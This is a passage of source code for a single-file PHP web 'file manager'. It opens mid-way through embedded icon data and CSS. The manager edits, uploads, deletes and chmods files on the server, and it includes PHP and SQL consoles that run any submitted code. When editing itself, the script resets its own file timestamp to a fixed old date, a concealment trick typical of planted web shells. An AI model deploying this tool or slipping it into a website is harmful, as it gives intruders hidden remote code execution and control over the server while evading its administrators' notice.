oyOyQrSH355jOkc5pDoVQfujW0Adh5mGLw34MJ4WHhVeGP45wiFga0TGXNXfR3ENz30T6RJZE3ptnMU85ry1KNSo+qi5qPNo3ujS6P8YuZlnM1VidWElsSxw5LiquNm5svt/87fOH4p3iC+N7F5gvyF1weaHOwvSFpxapLhIsOpZATIhOOJTwQRAqqBaMJfITdyWOCnnCHcJnIi/RNtGI2ENcKh5O8kgqTXqS7JG8NXkkxTOlLOW5hCepkLxMDUzdmzqeFpp2IG0yPTq9MYOSkZBxQqohTZO2Z+pn5mZ2y6xlhbL+xW6Lty8elQfJa7OQrAVZLQq2QqboVFoo1yoHsmdlV2a/zYnKOZarnivN7cyzytuQN5zvn//tEsIS4ZK2pYZLVy0dWOa9rGo5sjxxedsK4xUFK4ZWBqw8uIq2Km3VT6vtV5eufr0mek1rgV7ByoLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMhleGAKOAAAByElEQVQ4y8WTT2sUQRDFf9XTM+PGIBHdEEQR8eAfggaPHvTuyU+i+A38AF48efJbKB5zE0IMAVcCiRhQE8gmm111s9mZ3Zl+Hmay5qAY8GBDdTWPeo9HVRf872O9xVv3/JnrCygIU406K/qbrbP3Vxb/qjD8+OSNtC+VX6RiUyrWpXJD2aenfyR3Xs9N3h5rFIw6EAYQxsAIKMFx+cfSg0dmFk+qJaQyGu0tvwT2KwEZhANQWZGVg3LS83eupM2F5yiDkE9wDPZ762vQfVUJhIKQ7TDaW8TiacCO2lNnd6xjlYvpm49f5FuNZ+XBxpon5BTfWqSzN4AELAFLq+wSbILFdXgguoibUj7+vu0RKG9jeYHk6uIEXIosQZZiNWYuQSQQTWFuYEV3acXTfwdxitKrQAwumYiYO3JzCkVTyDWwsg+DVZR9YNTL3nqNDnHxNBq2f1mc2I1AgnAIRRfGbVQOamenyQ7ay74sI3z+FWWH9aiOrlCFBOaqqLoIyijw+YWHW9u+CKbGsIc0/s2X0bFpHMNUEuKZVQC/2x0mM00P8idfAAetz2ETwG5fa87PnosuhYBOyo8cttMJW+83dlv/tIl3F+b4CYyp2Txw2VUwAAAAAElFTkSuQmCC");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
